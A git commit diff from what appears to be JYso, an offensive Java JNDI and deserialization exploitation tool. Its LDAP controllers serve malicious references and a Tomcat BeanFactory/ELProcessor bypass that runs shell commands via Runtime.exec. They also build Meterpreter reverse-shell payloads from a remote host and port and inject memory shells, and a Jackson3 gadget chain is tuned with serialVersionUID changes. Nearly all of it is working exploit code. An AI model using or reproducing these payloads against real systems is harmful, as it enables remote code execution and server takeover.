fix: 修复insertField方法添加重复变量报错问题

This commit is contained in:
qi4L
2025-11-10 15:29:40 +08:00
parent ebcafeea39
commit cd05e8e561
5 changed files with 271 additions and 209 deletions
@@ -14,10 +14,11 @@ import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.fusesource.jansi.Ansi;
import java.net.URL;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.Locale;
import static org.fusesource.jansi.Ansi.ansi;
@@ -25,109 +26,145 @@ import static org.fusesource.jansi.Ansi.ansi;
public class BasicController implements LdapController {
private static String payloadType;
//最后的反斜杠不能少
// 用于对外提供动态字节码的 HTTP 服务器基础路径。
private final String codebase = Config.codeBase;
private String[] params;
// 存放从 LDAP 路径中解析出的命令或连接参数。
private String[] params = new String[0];
private GadgetType gadgetType;
// 向 LDAP 客户端返回引用指定 payload 类的搜索结果。
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
Entry e = new Entry(base);
String className = "";
Entry entry = new Entry(base);
String className = resolvePayloadClass();
URL targetUrl = new URL(new URL(codebase), className.replace('.', '/') + ".class");
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
className = EchoClass.getName();
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
className = Gadgets.createClassB(ClassName1);
}
if (payloadType.contains("command")) {
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
commandTemplate.cache();
className = commandTemplate.getClassName();
}
if (payloadType.contains("msf")) {
className = Meterpreter.class.getName();
}
String className1 = className.replaceAll("\\.", "/");
URL turl = new URL(new URL(this.codebase), className1 + ".class");
System.out.println(Ansi.ansi().fgBrightBlue().a(" redirecting to " + turl).reset());
e.addAttribute("javaClassName", "foo");
e.addAttribute("javaCodeBase", this.codebase);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", className);
result.sendSearchEntry(e);
System.out.println(ansi().fgBrightBlue().a(" redirecting to " + targetUrl).reset());
entry.addAttribute("javaClassName", "foo");
entry.addAttribute("javaCodeBase", codebase);
entry.addAttribute("objectClass", "javaNamingReference");
entry.addAttribute("javaFactory", className);
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
er.printStackTrace();
}
}
// 解析请求路径,确定 payload 类型并准备执行时所需的参数。
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI Remote Refenrence Links ");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
String normalized = base.replace('\\', '/');
payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
}
System.out.println(ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Base64.getDecoder().decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println(" RemotHost: " + results1[0]);
System.out.println(" RemotPort: " + results1[1]);
params = results1;
}
gadgetType = parseGadgetType(normalized);
params = resolveParams(normalized);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
throw new IncorrectParamsException("Incorrect params >> " + base);
}
}
// 根据 payload 标识返回需要加载的实现类名称。
private String resolvePayloadClass() throws Exception {
if (payloadType.contains("E-")) {
Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType)));
return echoClass.getName();
}
if (payloadType.contains("M-")) {
InjShell.init(params);
return Gadgets.createClassB(suffixAfterDash(payloadType));
}
if (payloadType.contains("command")) {
if (params.length == 0) {
throw new IncorrectParamsException("Missing command parameters.");
}
CommandTemplate commandTemplate = new CommandTemplate(params[0]);
commandTemplate.cache();
return commandTemplate.getClassName();
}
if (payloadType.contains("msf")) {
return Meterpreter.class.getName();
}
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
}
// 读取路径中的 gadget 片段并转换为枚举值。
private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
String segment = segment(base, 2);
if (segment.isEmpty()) {
return null;
}
try {
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
} catch (IllegalArgumentException ignored) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
}
}
// 根据 gadget 类型构建命令行或回连配置参数。
private String[] resolveParams(String base) throws Exception {
if (gadgetType == null) {
return new String[0];
}
switch (gadgetType) {
case base64:
String cmd = Util.getCmdFromBase(base);
System.out.println(ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd};
case shell:
String encoded = Util.getCmdFromBase(base);
String decoded = new String(Base64.getDecoder().decode(encoded), StandardCharsets.UTF_8);
System.out.println(ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" ");
case msf:
String[] results = Util.getIPAndPortFromBase(base);
Config.rhost = results[0];
Config.rport = results[1];
System.out.println(" RemotHost: " + results[0]);
System.out.println(" RemotPort: " + results[1]);
return results;
default:
return new String[0];
}
}
// 提取路径中第 index 个非空段,保持与原解析逻辑一致。
private String segment(String base, int index) {
int cursor = 0;
int found = 0;
while (cursor < base.length()) {
int nextSlash = base.indexOf('/', cursor);
if (nextSlash == -1) nextSlash = base.length();
if (nextSlash > cursor) {
if (found == index) {
return base.substring(cursor, nextSlash);
}
found++;
}
cursor = nextSlash + 1;
}
return "";
}
// 返回连字符后的子串,用于解析自定义类名。
private String suffixAfterDash(String value) {
int dashIndex = value.indexOf('-');
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
}
}
@@ -18,57 +18,43 @@ import org.fusesource.jansi.Ansi;
import javax.naming.StringRefAddr;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.Locale;
import static org.fusesource.jansi.Ansi.ansi;
@LdapMapping(uri = {"/elprocessor"})
public class ELProcessorController implements LdapController {
private static final String SCRIPT_TEMPLATE = "{\"\".getClass().forName(\"javax.script.ScriptEngineManager\")"
+ ".newInstance().getEngineByName(\"JavaScript\")"
+ ".eval(\"%s\")}";
private String payloadType;
private String[] params;
// 记录解析请求时提取出的命令参数或回连信息。
private String[] params = new String[0];
private GadgetType gadgetType;
// 向 LDAP 客户端返回序列化后的 ELProcessor 引用。
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
String jscode = null;
try {
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
Entry entry = new Entry(base);
entry.addAttribute("javaClassName", "java.lang.String");
ResourceRef ref = new ResourceRef(
"javax.el.ELProcessor",
null,
"",
"",
true,
"org.apache.naming.factory.BeanFactory",
null
);
ref.add(new StringRefAddr("forceString", "x=eval"));
TomcatBypassHelper helper = new TomcatBypassHelper();
ref.add(new StringRefAddr("x", buildPayloadScript()));
if (payloadType.contains("E-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
final Class EchoClass = Class.forName(ClassNameHandler.searchClassByName(ClassName1));
jscode = InjShell.injectClass(EchoClass);
}
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
jscode = Gadgets.createClassT(ClassName1);
}
if (payloadType.contains("command")) {
jscode = helper.getExecCode(params[0]);
}
if (payloadType.contains("msf")) {
jscode = helper.injectMeterpreter();
}
String payloadTemplate = "{" +
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"{replacement}\")" +
"}";
String finalPayload = payloadTemplate.replace("{replacement}", jscode);
ref.add(new StringRefAddr("x", finalPayload));
e.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(e);
entry.addAttribute("javaSerializedData", Util.serialize(ref));
result.sendSearchEntry(entry);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Throwable er) {
System.err.println("Error while generating or serializing payload");
@@ -76,56 +62,20 @@ public class ELProcessorController implements LdapController {
}
}
// 解析请求路径,确定 payload 类型及其所需参数。
@Override
public void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException {
System.out.println("- JNDI LDAP Local Refenrence Links + ELProcessor");
try {
base = base.replace('\\', '/');
int fistIndex = base.indexOf("/");
int secondIndex = base.indexOf("/", fistIndex + 1);
if (secondIndex < 0) secondIndex = base.length();
try {
payloadType = base.substring(fistIndex + 1, secondIndex);
String normalized = base.replace('\\', '/');
payloadType = segment(normalized, 1);
if (payloadType.isEmpty()) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + normalized);
}
System.out.println(Ansi.ansi().fgBrightMagenta().a(" Paylaod: " + payloadType).reset());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(fistIndex + 1, secondIndex));
}
int thirdIndex = base.indexOf("/", secondIndex + 1);
if (thirdIndex != -1) {
if (thirdIndex < 0) thirdIndex = base.length();
try {
gadgetType = GadgetType.valueOf(base.substring(secondIndex + 1, thirdIndex).toLowerCase());
} catch (IllegalArgumentException e) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + base.substring(secondIndex + 1, thirdIndex));
}
}
if (gadgetType == GadgetType.base64) {
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = new String[]{cmd};
}
if (gadgetType == GadgetType.shell) {
String cmd1 = Util.getCmdFromBase(base);
byte[] decodedBytes = Util.base64Decode(cmd1);
String cmd = new String(decodedBytes);
String[] cmdArray = cmd.split(" ");
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
params = cmdArray;
}
if (gadgetType == GadgetType.msf) {
String[] results1 = Util.getIPAndPortFromBase(base);
Config.rhost = results1[0];
Config.rport = results1[1];
System.out.println("[+] RemotHost: " + results1[0]);
System.out.println("[+] RemotPort: " + results1[1]);
params = results1;
}
gadgetType = parseGadgetType(normalized);
params = resolveParams(normalized);
} catch (Exception e) {
if (e instanceof UnSupportedPayloadTypeException) throw (UnSupportedPayloadTypeException) e;
@@ -133,34 +83,117 @@ public class ELProcessorController implements LdapController {
}
}
// 构造注入到 ELProcessor 中的 JavaScript 代码。
private String buildPayloadScript() throws Exception {
TomcatBypassHelper helper = new TomcatBypassHelper();
String scriptBody;
if (payloadType.contains("E-")) {
Class<?> echoClass = Class.forName(ClassNameHandler.searchClassByName(suffixAfterDash(payloadType)));
scriptBody = InjShell.injectClass(echoClass);
} else if (payloadType.contains("M-")) {
InjShell.init(params);
scriptBody = Gadgets.createClassT(suffixAfterDash(payloadType));
} else if (payloadType.contains("command")) {
scriptBody = helper.getExecCode(params[0]);
} else if (payloadType.contains("msf")) {
scriptBody = helper.injectMeterpreter();
} else {
throw new UnSupportedPayloadTypeException("Unsupported payload flag: " + payloadType);
}
return SCRIPT_TEMPLATE.replace("%s", scriptBody.replace("\"", "\\\""));
}
// 解析路径中的 gadget 片段并转换为枚举。
private GadgetType parseGadgetType(String base) throws UnSupportedPayloadTypeException {
String segment = segment(base, 2);
if (segment.isEmpty()) return null;
try {
return GadgetType.valueOf(segment.toLowerCase(Locale.ROOT));
} catch (IllegalArgumentException ignored) {
throw new UnSupportedPayloadTypeException("UnSupportedPayloadType : " + segment);
}
}
// 根据不同 gadget 类型构建命令参数或回连配置。
private String[] resolveParams(String base) throws Exception {
if (gadgetType == null) return new String[0];
switch (gadgetType) {
case base64:
String cmd = Util.getCmdFromBase(base);
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + cmd).reset());
return new String[]{cmd};
case shell:
String encoded = Util.getCmdFromBase(base);
String decoded = new String(Util.base64Decode(encoded));
System.out.println(Ansi.ansi().fgBrightRed().a(" Command: " + decoded).reset());
return decoded.split(" ");
case msf:
String[] results = Util.getIPAndPortFromBase(base);
Config.rhost = results[0];
Config.rport = results[1];
System.out.println("[+] RemotHost: " + results[0]);
System.out.println("[+] RemotPort: " + results[1]);
return results;
default:
return new String[0];
}
}
// 提取路径中的第 index 个非空段,保持与原有解析方式一致。
private String segment(String base, int index) {
int cursor = 0;
int found = 0;
while (cursor < base.length()) {
int next = base.indexOf('/', cursor);
if (next == -1) next = base.length();
if (next > cursor) {
if (found == index) {
return base.substring(cursor, next);
}
found++;
}
cursor = next + 1;
}
return "";
}
// 返回连字符后的子串,用于解析自定义类名。
private String suffixAfterDash(String value) {
int dashIndex = value.indexOf('-');
return dashIndex >= 0 ? value.substring(dashIndex + 1) : value;
}
// 封装 Tomcat 环境下 ELProcessor 的注入辅助逻辑,保持主控制器简洁。
private class TomcatBypassHelper {
String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> clazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
Field host = clazz.getDeclaredField("host");
host.setAccessible(true);
host.set(clazz, params[0]);
public String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class<?> ctClazz = Class.forName("com.qi4l.JYso.template.Meterpreter");
Field WinClassName = ctClazz.getDeclaredField("host");
WinClassName.setAccessible(true);
WinClassName.set(ctClazz, params[0]);
Field WinclassBody = ctClazz.getDeclaredField("port");
WinclassBody.setAccessible(true);
WinclassBody.set(ctClazz, params[1]);
return InjShell.injectClass(ctClazz);
Field port = clazz.getDeclaredField("port");
port.setAccessible(true);
port.set(clazz, params[1]);
return InjShell.injectClass(clazz);
}
public String getExecCode(String cmd) throws IOException {
String code = "var strs=new Array(3);\n" +
" if(java.io.File.separator.equals('/')){\n" +
" strs[0]='/bin/bash';\n" +
" strs[1]='-c';\n" +
" strs[2]='" + cmd + "';\n" +
" }else{\n" +
" strs[0]='cmd';\n" +
" strs[1]='/C';\n" +
" strs[2]='" + cmd + "';\n" +
" }\n" +
" java.lang.Runtime.getRuntime().exec(strs);";
return code;
String getExecCode(String cmd) throws IOException {
return "var strs=new Array(3);\n"
+ " if(java.io.File.separator.equals('/')){\n"
+ " strs[0]='/bin/bash';\n"
+ " strs[1]='-c';\n"
+ " strs[2]='" + cmd + "';\n"
+ " }else{\n"
+ " strs[0]='cmd';\n"
+ " strs[1]='/C';\n"
+ " strs[2]='" + cmd + "';\n"
+ " }\n"
+ " java.lang.Runtime.getRuntime().exec(strs);";
}
}
}
@@ -56,15 +56,17 @@ public class Jackson3 implements ObjectPayload<Object> {
public static Object getEventListenerList(Object obj) throws Exception {
//>=6.1.0 为-7977902244297240866
//<=6.0.23为
//<=6.0.23为-5677132037850737084
CtClass ctEventListenerList = insertField(
"javax.swing.event.EventListenerList", "private static final long serialVersionUID = -7977902244297240866L;");
"javax.swing.event.EventListenerList",
"private static final long serialVersionUID = -5677132037850737084;");
Object list = ctEventListenerList.toClass(new SuClassLoader()).newInstance();
//>=6.1.0 为-1045223116463488483
//<=6.0.23为
//<=6.0.23为-2077529998244066750
CtClass ctUndoManager = insertField(
"javax.swing.undo.UndoManager", "private static final long serialVersionUID = -1045223116463488483L;");
"javax.swing.undo.UndoManager",
"private static final long serialVersionUID = -2077529998244066750L;");
Object undomanager = ctUndoManager.toClass(new SuClassLoader()).newInstance();
//取出UndoManager类的父类CompoundEdit类的edits属性里的vector对象,并把需要触发toString的类add进去。
@@ -244,8 +244,12 @@ public class InjShell {
public static CtClass insertField(String fieldName, String fieldCode) throws Exception {
POOL.insertClassPath(new ClassClassPath(Class.forName(fieldName)));
final CtClass ctClass = POOL.get(fieldName);
try {
insertField(ctClass, fieldName, fieldCode);
return ctClass;
} catch (javassist.bytecode.DuplicateMemberException ignored) {
return ctClass;
}
}
@@ -1,14 +0,0 @@
package com.qi4l.JYso.gadgets.utils;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
public class Ltime {
//yyyy-MM-dd
public static String getLocalTime() {
Date d = new Date();
DateFormat sdf = new SimpleDateFormat("HH:mm:ss");
return sdf.format(d);
}
}